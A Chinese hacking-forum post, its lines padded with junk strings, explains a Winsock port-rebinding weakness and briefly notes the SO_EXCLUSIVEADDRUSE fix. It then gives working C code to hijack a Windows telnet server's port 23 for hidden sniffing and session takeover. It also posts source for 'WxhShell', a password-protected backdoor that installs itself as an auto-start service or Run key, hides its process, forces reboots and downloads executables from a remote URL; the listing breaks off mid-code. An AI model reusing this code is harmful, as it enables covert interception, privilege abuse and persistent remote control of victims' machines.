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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )dXa:h0RZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _gvFs %J  
:t}\%%EbmE  
  saddr.sin_family = AF_INET; b\k]Jx  
)pB#7aEw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); P6:9o}K6  
|Wh3a#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oaY_6  
;O"?6d0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TR"C<&y$j  
3[YG BM(  
  这意味着什么?意味着可以进行如下的攻击: v, $r.g;  
O\5%IfB'"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /k#-OXP~  
g9_zkGc7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~wvt:E,f C  
d+9V% T  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]ss[n.T0*  
LD$5KaOW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z*,e<zNQ  
D tsZP (  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p@ <Q?  
D!<F^mtl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]-=L7a  
L.Y3/H_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8Sbz)X  
[);oj<  
  #include DiCz%'N  
  #include H?$dnwR  
  #include L kt4F  
  #include    IpP%WW u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }V?m =y [  
  int main() wq)*bIv  
  { {15j'Qwm  
  WORD wVersionRequested; vgfC{]v<W]  
  DWORD ret; ^_7|b[Bt  
  WSADATA wsaData; oV|O`n  
  BOOL val; -t`kb*O3`  
  SOCKADDR_IN saddr; ?w3RqF@}  
  SOCKADDR_IN scaddr; 9:j?Jvw$  
  int err; Ox3=1M0  
  SOCKET s; k(gbUlCc  
  SOCKET sc; K9!HW&?<|  
  int caddsize; })g<I+]Hf9  
  HANDLE mt; ]33!obM  
  DWORD tid;   TO wd+]B  
  wVersionRequested = MAKEWORD( 2, 2 ); &?<uR)tl  
  err = WSAStartup( wVersionRequested, &wsaData ); X Xque-  
  if ( err != 0 ) { (lk9](;L  
  printf("error!WSAStartup failed!\n"); TCr4-"`r-{  
  return -1; ^Hd[+vAvR  
  } ]a $6QS  
  saddr.sin_family = AF_INET; j\2Qe %d  
   SSK}'LQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?=u?u k<-  
r`H}f#.KR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p|>*M\LE#  
  saddr.sin_port = htons(23); F%OP,>zl  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u4x-GObJM  
  { 'jev1u[  
  printf("error!socket failed!\n"); |'^s3i&w  
  return -1; 1\}vU  
  } 5`;SI36"  
  val = TRUE; f|[7LIdh-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N*Y[[N(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K-qWT7<  
  { mF4W4~"  
  printf("error!setsockopt failed!\n"); :F(4&e=w  
  return -1; lqDCK&g$E#  
  } cslC+e/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Tz @<hE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ``MO5${  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K'A+V  
lriezI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |9* Rnm_  
  { !)s(Lv%]  
  ret=GetLastError(); L/k35x8  
  printf("error!bind failed!\n"); c%&,(NJ]K  
  return -1; m#"_x{oa  
  } "?"  :  
  listen(s,2); -&+:7t  
  while(1) Cbbdq%ySI  
  { ~i,d%a  
  caddsize = sizeof(scaddr); &l(T},-X  
  //接受连接请求 7)?C+=,0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x:SjdT  
  if(sc!=INVALID_SOCKET) w$]G$e  
  { P,v7twc0M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `<XS5h h=  
  if(mt==NULL) }%g[1 #%(  
  { #S>N}<>  
  printf("Thread Creat Failed!\n"); lhUGo =  
  break; dOjly,!  
  } pF;.nt)  
  } b 74 !Zw  
  CloseHandle(mt); ;-db/$O  
  } d$ouH%^cGu  
  closesocket(s); &RR;'wLoQT  
  WSACleanup(); WQ|Ufl;  
  return 0; $^x=i;>aK.  
  }   Fh~9(Y#  
  DWORD WINAPI ClientThread(LPVOID lpParam) /b+~BvTh  
  { "4b{YWv  
  SOCKET ss = (SOCKET)lpParam; o&JoeKXor  
  SOCKET sc; ,!= sGUQ)  
  unsigned char buf[4096]; 5Tsz|k  
  SOCKADDR_IN saddr; Kz'GAm\  
  long num; oj8r*  
  DWORD val; X5WA-s(?0  
  DWORD ret; [P2>KQ\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SKG U)Rn;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Np\NStx2  
  saddr.sin_family = AF_INET; 3u@,OE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #}A"yo  
  saddr.sin_port = htons(23); ={g"cx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Et6j6gmif  
  { Ey@^gHku\  
  printf("error!socket failed!\n"); yg\QtWW M  
  return -1; D+T/ Z)  
  } G|cjI*  
  val = 100; ,Yag! i>;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RDps{),E;d  
  { k>i88^kPV  
  ret = GetLastError(); S|tD8A  
  return -1; Z%~}*F}7X  
  }  ^B"LT>.[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M$x,B#b  
  { xQR/Xp!h  
  ret = GetLastError(); ; _%zf5;'  
  return -1; #JUh"8N'  
  } Tv%7=P;r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8)>>EN8 R  
  { | BaEv\$K  
  printf("error!socket connect failed!\n"); yY]x' 'K  
  closesocket(sc); &dB@n15'A  
  closesocket(ss); xM())Z|2  
  return -1; CvIuH=,  
  } f]*;O+8$LN  
  while(1) enk`I$Xx  
  { ch# )XomN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /qdvzv%T  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FH</[7f;@N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yLRe'5#m  
  num = recv(ss,buf,4096,0); 0>[]Da}  
  if(num>0) T m"B  
  send(sc,buf,num,0); |AvPg  
  else if(num==0) .7.G}z1  
  break; 0hY3vBQ!  
  num = recv(sc,buf,4096,0); yp~z-aRa  
  if(num>0) '`8 ^P  
  send(ss,buf,num,0); ru:"c^W:[  
  else if(num==0) B4 bB`r  
  break; u<j;+-]8h  
  } 8P ]nO+  
  closesocket(ss); GwO`@-}E  
  closesocket(sc); .1(_7!m@  
  return 0 ; `yR/M"u6T  
  } bAlty}U  
8kKL=  
k;qS1[a  
========================================================== CG uuadNI  
ll__A|JQ  
下边附上一个代码,,WXhSHELL B9l~Y/3|  
-axKnfj  
========================================================== CUDA<Fm  
4{>r_^8  
#include "stdafx.h" A}"|_ &E  
we}xGb.u  
#include <stdio.h> dPO"8HQ  
#include <string.h> CLND[gc  
#include <windows.h> #-%D(=&I  
#include <winsock2.h> M|nLD+d~8  
#include <winsvc.h> E2|M#Y  
#include <urlmon.h> ;$tdn?|  
@de  ZZ  
#pragma comment (lib, "Ws2_32.lib") j6s j2D  
#pragma comment (lib, "urlmon.lib") Z71_D  
&wQ<sVQ0$  
#define MAX_USER   100 // 最大客户端连接数 V 2Xv)  
#define BUF_SOCK   200 // sock buffer Dx\~#$S!=  
#define KEY_BUFF   255 // 输入 buffer f0eQq;D$K  
,t_&tbf3  
#define REBOOT     0   // 重启 tOXyle~C  
#define SHUTDOWN   1   // 关机 Ew4D'; &;  
9z?c0W5x  
#define DEF_PORT   5000 // 监听端口 rvx2{1}I  
'oz$uvX  
#define REG_LEN     16   // 注册表键长度 !bzWgD7j  
#define SVC_LEN     80   // NT服务名长度 ;nlJ D#  
ZXLAX9|  
// 从dll定义API h~QQ-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -8)C6"V{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aP(~l_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aGW O3Nk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >07i"a  
!UT!PX)  
// wxhshell配置信息 75>%!mhM  
struct WSCFG { kM-8%a2i  
  int ws_port;         // 监听端口 vEjf|-Mb9  
  char ws_passstr[REG_LEN]; // 口令 5X8 i=M;  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?taC !{  
  char ws_regname[REG_LEN]; // 注册表键名 uv5NqL&  
  char ws_svcname[REG_LEN]; // 服务名 /@Jg [na  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^G qO>1U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i=5!taxu}E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 krGIE}5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O-0 5.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'RwfW|~6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Qraq{'3  
BgN^].z&  
}; ;=2JbA+"G  
/?BTET  
// default Wxhshell configuration IUAe6  
struct WSCFG wscfg={DEF_PORT,  irh Z  
    "xuhuanlingzhe", 2K3j3|T  
    1, nUs=PD3)  
    "Wxhshell", 6x5Q*^w  
    "Wxhshell", m5/]+xdNX  
            "WxhShell Service", [4EIy"  
    "Wrsky Windows CmdShell Service", f7zB_hVDmE  
    "Please Input Your Password: ", V(XU^}b#  
  1, g[y&GCKY!=  
  "http://www.wrsky.com/wxhshell.exe", Ce//; Op  
  "Wxhshell.exe" @@a#DjE%/  
    }; ,nog6\  
5k=04=Iyh#  
// 消息定义模块 Rhlm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d~.hp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HI1|~hOb'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /g0' +DP  
char *msg_ws_ext="\n\rExit."; <bn|ni|c"  
char *msg_ws_end="\n\rQuit."; a^G>|+8  
char *msg_ws_boot="\n\rReboot..."; .`*(#9(M9  
char *msg_ws_poff="\n\rShutdown..."; s o: o b}  
char *msg_ws_down="\n\rSave to "; }.u[';q ]S  
+-x+c: IxA  
char *msg_ws_err="\n\rErr!"; /_JR7BB^X,  
char *msg_ws_ok="\n\rOK!";  w@mCQ$  
}ub>4N[  
char ExeFile[MAX_PATH]; C(sz/x?11  
int nUser = 0; &]f8Xd  
HANDLE handles[MAX_USER]; zWN]#W`  
int OsIsNt; 0LGHSDb  
X+;#^A3  
SERVICE_STATUS       serviceStatus; @6[aLF]F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aR)UHxvX  
M~X~2`fFH  
// 函数声明 Mu.tq~b >  
int Install(void); e\#aQ1?"  
int Uninstall(void); xt@v"P2Ok  
int DownloadFile(char *sURL, SOCKET wsh); (RUc>Qi  
int Boot(int flag); .|:(VG$MfI  
void HideProc(void); SXXO#  
int GetOsVer(void); \HMuV g'Q  
int Wxhshell(SOCKET wsl); XThU+s9  
void TalkWithClient(void *cs); ?!tO'}?  
int CmdShell(SOCKET sock); lh\`9F:  
int StartFromService(void); %YuFw|wO  
int StartWxhshell(LPSTR lpCmdLine); 0m4#{^Y  
[ P*L`F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ee<'j~{A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?<OE|nb&  
cri-u E?  
// 数据结构和表定义 lBG5~<NT  
SERVICE_TABLE_ENTRY DispatchTable[] = YYe<StyH  
{ AgDXpaq  
{wscfg.ws_svcname, NTServiceMain}, !~mPxGY  
{NULL, NULL} wlwgYAD  
}; \*fXPJ4  
SbtZhg=S_  
// 自我安装 %Zeb#//Jz  
int Install(void) <0/)v J- 9  
{ 8M4GforP  
  char svExeFile[MAX_PATH]; dphWxB  
  HKEY key; s ldcI@Z  
  strcpy(svExeFile,ExeFile); f'j<v  
?Rh[S  
// 如果是win9x系统,修改注册表设为自启动 M(} T\R  
if(!OsIsNt) { +>tSO!}[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3D,tnn+J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YEiw!  
  RegCloseKey(key); %~<F7qB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mt *Dx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5M%)*.Y 3[  
  RegCloseKey(key); REOWSs$'  
  return 0; h-03]M#8=  
    } pfMmDl5|  
  } YRaF@?^Gn  
} 2 I.Q-'@  
else { C;Kq_/l  
khP Ub,  
// 如果是NT以上系统,安装为系统服务 Qoz4(~I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Mf9x=K9  
if (schSCManager!=0) w!UIz[ajI  
{ pSx}:u^am  
  SC_HANDLE schService = CreateService |UQGZ  
  ( Fp+fZU  
  schSCManager, |i(@1 l  
  wscfg.ws_svcname, 9]S;%:64  
  wscfg.ws_svcdisp, Z%{`j!!p  
  SERVICE_ALL_ACCESS, [Z[ p@Ux  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3|Y.+W  
  SERVICE_AUTO_START, ;%/}(&E2  
  SERVICE_ERROR_NORMAL, ;0dl  
  svExeFile, ?,r}@89pY  
  NULL, Qj9'VI>&  
  NULL, @ &GA0;q0t  
  NULL, RHI?_gf&  
  NULL, y<ZT~e  
  NULL 4g+o/+6!4  
  ); 1mv8[^pF  
  if (schService!=0) /p{$HkVw  
  { w\>@> *E>  
  CloseServiceHandle(schService); T#YJ5Xw  
  CloseServiceHandle(schSCManager); wem hP8!gc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dsZ-|C  
  strcat(svExeFile,wscfg.ws_svcname); KctbNMU]k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [TmZ\t!5$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `$] ZT>&  
  RegCloseKey(key); iT~ gt/K  
  return 0; k~iA'E0-  
    } zrA =?[  
  } P9gAt4i  
  CloseServiceHandle(schSCManager); d`xDv$QZ  
} ;C5 J ^xHI  
} ](k}B*Ab h  
/,9n1|FrG  
return 1; AR)A <  
} /6'5uP   
)4FW~o<i  
// 自我卸载 xQs._YY  
int Uninstall(void) P7 qzZ  
{ %bB:I1V\  
  HKEY key; :w9s bW  
9d+z?J:  
if(!OsIsNt) { E>1%7" i<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j2%M-y4E  
  RegDeleteValue(key,wscfg.ws_regname); (7|!%IO.  
  RegCloseKey(key); V}/AQe2m&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R@[1a+}5  
  RegDeleteValue(key,wscfg.ws_regname); AgJPtzs  
  RegCloseKey(key); DLEHsbP{$  
  return 0; 5"7lWX  
  } i)M JP*  
} `_.(qg   
} ej]>*n  
else { i=`@)E  
Nj}-"R\u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hx!hI1   
if (schSCManager!=0) aB~=WWLR\  
{ P?M WT]fY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x3=SMN|a  
  if (schService!=0) 7HQ|3rt  
  { 10..<v7  
  if(DeleteService(schService)!=0) { R5r CCp  
  CloseServiceHandle(schService); l7S&s&W @  
  CloseServiceHandle(schSCManager); +{&++^(}a  
  return 0; I*= =I4qx  
  } z?g\w6  
  CloseServiceHandle(schService); y.WEO>   
  } BA`K,#Ft7  
  CloseServiceHandle(schSCManager); 2]_fNCNLN  
} 6V @ [< d  
} d6g^>}-!t  
WTj,9  
return 1; Si=u=FI1e  
} [_3L  
w4;1 ('  
// 从指定url下载文件 b^&nr[DC  
int DownloadFile(char *sURL, SOCKET wsh) 2~!+EH  
{ &&|c-mD+*  
  HRESULT hr; QR[i9'`<  
char seps[]= "/"; V?-OI>  
char *token; -hP>;~*4  
char *file; ;c0z6E /  
char myURL[MAX_PATH]; w7Vl,pN,  
char myFILE[MAX_PATH]; e~Z>C>J  
cy( WD#^  
strcpy(myURL,sURL); W[oQp2 =  
  token=strtok(myURL,seps); 9>[ *y8[:0  
  while(token!=NULL) cp3O$S  
  { Aw7_diK^  
    file=token; u*<knZ~ty  
  token=strtok(NULL,seps); J+f*D+x1  
  } njBK{  
2!g7F`/B  
GetCurrentDirectory(MAX_PATH,myFILE); L%0G >2x  
strcat(myFILE, "\\"); Hge0$6l  
strcat(myFILE, file); hH=}<@z   
  send(wsh,myFILE,strlen(myFILE),0); qku!Mg  
send(wsh,"...",3,0); {Nny .@P)H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8G|kKpX  
  if(hr==S_OK) = ^_4u%}  
return 0; </) HcRj'e  
else M%1wT9  
return 1; (b;*8  
'mE!,KeS;  
} t(5PKD#~Dc  
Zf8_ko;|:-  
// 系统电源模块 6,Y<1b*|Vo  
int Boot(int flag) VgcLG ]tE[  
{ Eh|v>Yew  
  HANDLE hToken; #@K %Mx  
  TOKEN_PRIVILEGES tkp; 9 az{j 1  
rCgoU xW`  
  if(OsIsNt) { \[W)[mH_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M%qHf{ B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <~-cp61z;  
    tkp.PrivilegeCount = 1; =.8fES  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v0'`K 5M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "/qm,$  
if(flag==REBOOT) { I2<5#|CXpZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /}#@uC  
  return 0; ;TTH  
} #^eXnhj9  
else { 2H2Yxe7?-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PNhxF C.  
  return 0; [vyi_0[  
} _/@u[dWeL  
  } }\/ 3B_X6N  
  else { oVja$;>  
if(flag==REBOOT) { y8CH=U[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b*W01ist  
  return 0; 8$V:+u  
} MtKM#@  
else { 'MY0v_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }q D0-  
  return 0; T~- OC0  
} TjLW<D(i>  
} Vs@H>97,G  
J0O wzO  
return 1; xty)*$C>  
} w4(g]9^Q  
6z ,nt  
// win9x进程隐藏模块 >Eqr/~Q  
void HideProc(void) N Obw/9JO  
{ DRuG5|{I:  
YK6zN>M}E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /YT _~q=:  
  if ( hKernel != NULL ) ERz{, >G?  
  { X>4qL'b:z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hmM2c15T5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :~%{  
    FreeLibrary(hKernel); m9 D' yXZ  
  } ]c~W$h+F  
IJ#+"(?7,u  
return; Auk#pO#  
} d@e2+3<  
5!*@gn  
// 获取操作系统版本 Z[?zaQ$  
int GetOsVer(void) 1&#qq*{  
{ 1?,1EYT"  
  OSVERSIONINFO winfo; )H| cri~D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c-q=Ct  
  GetVersionEx(&winfo); 8D6rShx =  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G"D=ozr  
  return 1; WI}cXXUKm0  
  else caXSt2|'  
  return 0; $, @,(M`i}  
} X &s"}Hf  
6&s" "J)3  
// 客户端句柄模块 /+ Q3JS(  
int Wxhshell(SOCKET wsl) l7vxTj@(-  
{ AOscewQ  
  SOCKET wsh;  G%5ZG$as  
  struct sockaddr_in client; lXOT>$qR<  
  DWORD myID; {dXmSuO  
/;clxtus  
  while(nUser<MAX_USER) c 4Wl^E 8  
{ ?{rpzrc!*  
  int nSize=sizeof(client); r%412 #  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t5;)<N`  
  if(wsh==INVALID_SOCKET) return 1; Ze"m;T  
@e:= D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jN T+?2  
if(handles[nUser]==0) RAB'%CY4  
  closesocket(wsh); p4^&G/'  
else `Y_G*b.Rm  
  nUser++; 8Ai\T_l  
  } g#b9xTG J^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r2G38/K  
Df5!z\dx  
  return 0; B&>z&!}  
} %:e.ES  
nN5fP<H2x  
// 关闭 socket o9]i {e>L  
void CloseIt(SOCKET wsh) "< })X.t  
{ X;7hy0Y  
closesocket(wsh); CWa~~h<r-  
nUser--; B!1Bg9D  
ExitThread(0); NE4 }!I  
} J^y?nE(j  
Ge1b_?L_  
// 客户端请求句柄 EFn[[<&><t  
void TalkWithClient(void *cs) bZWdd6  
{ |qz&d=>  
TE% i   
  SOCKET wsh=(SOCKET)cs; J>8kJCh9g  
  char pwd[SVC_LEN]; 8e32NJ^k~  
  char cmd[KEY_BUFF]; X+kgx!u'y  
char chr[1]; 3*=_vl3  
int i,j; /I &wh  
DPr~DO`b  
  while (nUser < MAX_USER) { RmRPR<vGW  
$0XR<D  
if(wscfg.ws_passstr) { wDDNB1_ E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t W}"PKv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -CLBf'a  
  //ZeroMemory(pwd,KEY_BUFF); c<,R,D R  
      i=0; aUk]wiwIR9  
  while(i<SVC_LEN) { 7KL@[  
l 1vI  
  // 设置超时 7#(0GZN9h%  
  fd_set FdRead; se=;vp]3a  
  struct timeval TimeOut; >!Dp'6  
  FD_ZERO(&FdRead); q~`dxq`}  
  FD_SET(wsh,&FdRead); <b:xyHS  
  TimeOut.tv_sec=8; bs0[ a 1/  
  TimeOut.tv_usec=0; F-Bj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ==AmL]*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pp@O6   
otX/sg.B*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |u]IOw&1  
  pwd=chr[0]; 3JEg3|M(  
  if(chr[0]==0xd || chr[0]==0xa) {  JKV&c= I  
  pwd=0; `BVXF#sb  
  break; 3~1Gts  
  } 54].p7  
  i++; fcO|0cQ  
    } XAZPbvG|$  
/j-c29nz  
  // 如果是非法用户,关闭 socket ;Z); k`j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {2k]$|  
} //'&a-%$^  
+Fb+dU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RM;Uq >l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =0a z5td  
_L+j6N.h1  
while(1) { $0k7W?tu  
lffw "  
  ZeroMemory(cmd,KEY_BUFF); 0S96x}]J B  
q%LjOPE V  
      // 自动支持客户端 telnet标准   [* M':  
  j=0; BA[ uO3\4  
  while(j<KEY_BUFF) { N\|BaZ%>|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V!l?FOSZ  
  cmd[j]=chr[0]; 4n"6<cO5q  
  if(chr[0]==0xa || chr[0]==0xd) { 6-z(34&N  
  cmd[j]=0; ) "Z6Q5k^  
  break; 6j!idA!'  
  } udXzsY9Ng  
  j++; D?=4'"@v  
    } \SoT^PW  
e+V8I&%  
  // 下载文件 J/IRCjQ}  
  if(strstr(cmd,"http://")) { 8L+A&^qx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1R;@v3  
  if(DownloadFile(cmd,wsh)) O>'tag  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (%OZ `?`  
  else "j&'R#$&d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zrp-Hv27,,  
  } wJD'q\n  
  else { N<ux4tz  
,}O33BwJp  
    switch(cmd[0]) { C`R<55x6  
  zdw* ?C  
  // 帮助 wX$|(Y }  
  case '?': { Zl>dBc%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f >.^7.is  
    break; ,"Fl/AjO  
  } Y'5(exW  
  // 安装 KaX*) P  
  case 'i': { P aeq  
    if(Install()) s/.P/g%tA>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wqi0%Cu*  
    else Z~<=I }@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~> N63I6  
    break; *AP"[W  
    } F{.\i*$  
  // 卸载 mz+UkA'  
  case 'r': { fs?H  
    if(Uninstall()) q#@r*hl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t|mK5aR4  
    else bL Sc=f&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^/6P~iK'  
    break; I)yF!E &  
    } @%G?Nht]o  
  // 显示 wxhshell 所在路径 w $Fg 0JS  
  case 'p': { fERO(o  
    char svExeFile[MAX_PATH]; Xhq6l3M  
    strcpy(svExeFile,"\n\r"); M9""(`U  
      strcat(svExeFile,ExeFile); T9XUNR{&  
        send(wsh,svExeFile,strlen(svExeFile),0); .xuzu#-  
    break; !\$V?*p7  
    } W+/_0GgQ3  
  // 重启 _m[DieR  
  case 'b': { o.kDOqd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M9afg$;.xe  
    if(Boot(REBOOT)) DIw_"$'At  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -U\'Emu4  
    else { r @m]#4  
    closesocket(wsh); %B( rW?p&  
    ExitThread(0); Uqb]&2  
    } Dk>6PBl  
    break; ".%d{z}vz  
    } KPI96P  
  // 关机 3h:y[Vm#9y  
  case 'd': { gnjhy1o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N'WC!K.e  
